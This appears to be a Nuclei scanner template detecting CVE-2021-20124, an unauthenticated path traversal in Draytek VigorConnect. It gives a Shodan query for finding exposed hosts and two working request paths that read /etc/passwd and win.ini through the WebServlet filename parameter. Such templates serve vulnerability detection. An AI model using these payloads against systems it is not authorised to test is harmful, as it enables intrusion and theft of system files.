56 lines
2.1 KiB
YAML
56 lines
2.1 KiB
YAML
id: CVE-2021-20124
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info:
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name: Draytek VigorConnect 6.0-B3 - Local File Inclusion
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author: 0x_Akoko
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severity: high
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description: Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the WebServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
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impact: |
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Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, potential data leakage, and further compromise of the affected system.
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remediation: |
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Apply the latest security patches or updates provided by Draytek to fix the LFI vulnerability in VigorConnect 6.0-B3.
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reference:
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- https://www.tenable.com/security/research/tra-2021-42
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- https://www.draytek.com/products/vigorconnect/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20124
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2021-20124
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cwe-id: CWE-22
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epss-score: 0.01234
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epss-percentile: 0.83934
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cpe: cpe:2.3:a:draytek:vigorconnect:1.6.0:beta3:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: draytek
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product: vigorconnect
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shodan-query: http.html:"VigorConnect"
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tags: cve2021,cve,draytek,lfi,vigorconnect,tenable
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http:
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- method: GET
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path:
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- "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../etc/passwd"
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- "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../windows/win.ini"
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "application/octet-stream"
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- type: regex
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regex:
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- "root:.*:0:0:"
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- "for 16-bit app support"
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condition: or
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- type: status
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status:
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- 200
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# digest: 4a0a0047304502207d7b49c693a38e4ecfcefc90c776601fb166fc39e32a375552676eec2a82ea99022100cbd78b056b10b7445d5f9679eb33367ff47a0ea6c1632eb08feedb2ccdd6af62:922c64590222798bb761d5b6d8e72950 |